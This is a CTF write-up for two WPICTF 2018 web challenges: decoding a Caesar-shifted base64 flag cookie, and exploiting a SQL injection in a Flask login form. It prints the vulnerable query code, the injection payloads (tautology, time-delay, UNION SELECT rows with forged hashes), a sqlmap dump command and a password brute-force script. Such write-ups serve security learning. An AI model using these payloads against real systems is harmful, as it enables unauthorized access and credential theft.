WPICTF 2018 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : WPICTF 2018
  • Website : wpictf.xyz
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

150 - Dance - Web#

https://dance.wpictf.xyz

by binam

TL;DR: intercepting proxy, base64 flag cookie, Caesar bruteforce

The URL is using a HTTP 302 to redirect us to Rick Astley - Never Gonna Give You Up youtube video.

Making the request with Burp Suite Repeater,

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: dance.wpictf.xyz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 0
Connection: close
Upgrade-Insecure-Requests: 1

we obtain the following result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 302 FOUND
Server: nginx/1.13.12
Date: Sun, 15 Apr 2018 09:50:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 309
Connection: close
Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
Set-Cookie: Julius C.="got good dance moves."; Path=/
Strict-Transport-Security: max-age=31536000

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>. If not click the link.

The value of the flag cookie is a base64 string but gives us nothing when we decode it.

The second cookie Julius C. let us think this is about the Caesar cipher.

By doing a Caesar bruteforce, we can get the following base64 string with a +17 shift: V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=.

Here was my ruby script to do some case sensitive Caesar bruteforce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env ruby

# from https://gist.github.com/matugm/db363c7131e6af27716c
def caesar_cipher(string, shift = 1)
# lowercase
alphabet_low = Array('a'..'z')
encrypter_low = Hash[alphabet_low.zip(alphabet_low.rotate(shift))]
# " " => c because I don't want to void non-letters chars
first_pass = string.chars.map { |c| encrypter_low.fetch(c, c) }.join

# uppercase
alphabet_up = Array('A'..'Z')
encrypter_up = Hash[alphabet_up.zip(alphabet_up.rotate(shift))]
second_pass = first_pass.chars.map { |c| encrypter_up.fetch(c, c) }.join
end

text = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx="

(1..25).each do |i|
puts "#{i}: " + caesar_cipher(text, i) + "\n"
end

Then, we can decode the flag:

1
2
$ printf %s 'V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=' | base64 -d
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}

200 - Vault - Web#

https://vault.wpictf.xyz

by GODeva

In the source of index.html we can read the following HTML comment:

1
2
3
4
5
6
7
8
9
<!-- Welcome to the the Fuller Vault
- clients/clients.db stores authentication info with the following schema:

CREATE TABLE clients (
id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
clientname VARCHAR(255),
hash VARCHAR(255),
salt VARCHAR(255)
); -->

So I guess that we need to find a SQL injection to dump the database.

By inserting a single quote in the clientname field of the form we get an error:

File /home/vault/vault/secretvault.py, line 58, in login

1
2
3
4
5
6
7
8
9
connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))
pointer = connection.cursor()
search = """SELECT id, hash, salt FROM clients
WHERE clientname = '{0}' LIMIT 1""".format(clientname)
pointer.execute(search)
res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res

So now we know there is a Python backend running Flask and we know the SQL query used.

This payload Goutham' OR '1'='1-- - confirms the SQL injection and this one Goutham' AND 1=randomblob(1000000000)-- - confirms it again.

So I read the SQLmap wiki to build a useful SQLmap command:

1
$ sqlmap -u https://vault.wpictf.xyz/login --method=POST --data='clientname=Goutham&password=b' -p clientname --dbms SQLite --random-agent -T clients -C clientname,hash,salt --dump --risk 3

So we obtain the following data from the database:

  • clientname: Gaines
  • hash: ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b
  • id: 1
  • salt: leoczve
  • clientname: Goutham
  • hash: 6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738
  • id: 2
  • salt: nepdrqs
  • clientname: Binam
  • hash: 49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
  • id: 3
  • salt: cseerlb

The hash used seems to be SHA-256:

1
2
3
4
5
6
7
8
9
10
11
$ hashid 49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
Analyzing '49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)

I tried to bruteforce them with my ruby script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env ruby
require 'digest'

usermap = {
1 => {
clientname: 'Gaines',
hash: 'ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b',
salt: 'leoczve'
},
2 => {
clientname: 'Goutham',
hash: '6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738',
salt: 'nepdrqs'
},
3 => {
clientname: 'Binam',
hash: '49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7',
salt: 'cseerlb'
}
}

usermap.each do |id, client|
File.readlines('/home/noraj/CTF/tools/dict/rockyou.txt').each do |pass|
if Digest::SHA2.new(256).hexdigest(pass.chomp + client[:salt]) == client[:hash]
puts "#{value}, #{pass}"
elsif Digest::SHA2.new(256).hexdigest(client[:salt] + pass.chomp) == client[:hash]
puts "#{value}, #{pass}"
end
end
end

But I didn't get anything.

An admin gave me a hint: The goal is to trick the database when checking for a hash..

And they said on the Discord channel that bruteforce is not needed.

Note : I did this part after the end of the CTF.

Ok let's think this time before using force.

We know there is 3 columns in the query so let's try this: invalid' UNION SELECT 1,1,1-- -.

We get an useful error again:

1
2
3
4
5
6
7
8
9
10
11
res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res

calculatedHash = hashlib.sha256(password + salt)
if calculatedHash.hexdigest() != hash:
return "Invalid password for {0}!\n".format(clientname)

flask.session['userID'] = userID
return flask.redirect('/')

As we can't break Goutham's password we may use UNION to provide another row with the hash we want, using a comment -- will allow us to bypass LIMIT 1. This way we will be able to provide arbitrary stuff in order to trick hashlib.sha256(password + salt).

Knowing the database and the hashing scheme we can compute a new hash and force the server to use it:

1
2
$ printf %s%s 'rawsec' 'nepdrqs' | sha256sum
9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a
  • clientname: invalid' UNION SELECT "2", "9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a", "nepdrqs"--
  • password: rawsec

Without knowing the database content but knowing the hash scheme is easy too, we can pick the id from the database and also overwrite the salt:

1
2
$ printf %s%s 'rawsec' 'noraj' | sha256sum
4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e
  • clientname: invalid' UNION SELECT id, "4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e", "noraj" FROM clients WHERE clientname = "Goutham"--
  • password: rawsec

But for those who didn't discovered the hash scheme with the second error message it is also possible to provide a void string so prefix or suffix salt will have the same behavior:

1
2
$ printf %s%s 'rawsec' '' | sha256sum
fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1
  • clientname: invalid' UNION SELECT id, "fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1", "" FROM clients WHERE clientname = "Goutham"--
  • password: rawsec

Why Goutham? Because the comment on the page suggests it.

So we get the flag: Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}".

Share